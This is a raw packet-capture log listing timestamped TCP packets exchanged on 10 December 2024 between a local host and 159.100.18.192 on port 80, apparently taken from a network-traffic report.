                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.101409912 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.101819992 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.105568886 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.105694056 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.105746031 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.114010096 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.114134073 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.114367008 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.122159958 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.122340918 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.122395992 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.130573988 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.130664110 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.131002903 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.138926983 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.138978958 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.139221907 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.147450924 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.147555113 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.147651911 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.155678034 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.155762911 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.156030893 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.164110899 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.164227009 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.164412022 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.172538996 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.172657013 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.172821999 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.180829048 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.180897951 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.181224108 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.293642998 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.293729067 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.293809891 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.296077013 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.296204090 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.296295881 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.301145077 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.301250935 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.301359892 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.306113958 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.306224108 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.306396961 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.311208010 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.311259031 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.311422110 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.315960884 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.316071987 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.316246033 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.321470022 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.321489096 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.321533918 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.325644970 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.325814962 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.325911045 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.330492973 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.330604076 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.330703974 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.335366011 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.335501909 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.335577965 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.340224981 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.340255022 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.340454102 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.345011950 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.345083952 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.345304012 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.349833012 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.349961042 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.350123882 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.354785919 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.354799032 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.354836941 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.359536886 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.359648943 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.359761000 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.364403009 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.364635944 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.364701986 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.369167089 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.369277954 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.369442940 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.374058962 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.374131918 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.374305010 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.378870010 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.379029036 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.379220009 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.485712051 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.485894918 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.485950947 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.487860918 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.487951040 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.488189936 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.491825104 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.492017031 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.492101908 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.495735884 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.495851040 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.496005058 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.499742031 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.499871016 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.500013113 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.503607035 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.503814936 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.503870964 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.507378101 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.507514000 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.507584095 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.511002064 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.511138916 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.511260986 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.514662981 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.514770031 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.514879942 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.518317938 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.518471956 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.518578053 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.521989107 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.522054911 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.522252083 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.525717974 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.525765896 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.525937080 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.529325008 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.529422045 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.529520035 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.533073902 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.533108950 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.533334017 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.536588907 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.536731005 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.536875010 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.540291071 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.540390968 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.540556908 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.543972015 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.544092894 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.544186115 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.547864914 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.547965050 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.548162937 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.551208019 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.551353931 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.551479101 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.555165052 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.555300951 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.555433035 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.558557034 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.558625937 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.558883905 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.562166929 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.562297106 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.562403917 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.565849066 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.565972090 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.566050053 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.569910049 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.570132017 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.570216894 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.573184967 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.573380947 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.573463917 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.576801062 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.576886892 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.576937914 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.580460072 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.580514908 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.580617905 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.584068060 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.584321022 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.584366083 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.587964058 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.588021994 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.588155985 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.591509104 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.591609001 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.591662884 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.677752972 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.677951097 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.678435087 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.679253101 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.679851055 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.679898977 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.679935932 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.683042049 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.683090925 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.683094025 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.686007023 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.686053991 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.686101913 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.689057112 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.689101934 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.689182043 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.692065954 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.692114115 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.692140102 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.695405006 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.695451021 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.695785046 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.698204994 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.698251963 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.698287964 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.700434923 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.700478077 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.700594902 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.703113079 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.703161001 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.703217030 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.705859900 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.705912113 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.706069946 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.708398104 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.708441973 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.708488941 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.710985899 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.711035967 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.711122990 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.713582039 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.713630915 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.713695049 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.716144085 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.716197014 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.716284990 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.718595028 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.718638897 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.718720913 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.721132994 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.721178055 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.721261978 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.723572016 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.723620892 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.723659039 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.725996971 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.726043940 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.726114988 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.728504896 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.728549004 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.728631020 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.730972052 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.731015921 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.731036901 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.733472109 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.733519077 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.733587980 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.735961914 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.736004114 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.736330032 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.738405943 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.738456011 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.738513947 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.740880013 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.740926981 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.740987062 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.743364096 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.743412018 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.743448973 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.745829105 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.745871067 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.746035099 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.748305082 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.748347998 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.748414993 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.750797033 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.750845909 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.750910044 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.753293037 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.753339052 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.753417015 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.755754948 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:04.755801916 CET4974780192.168.2.4159.100.18.192
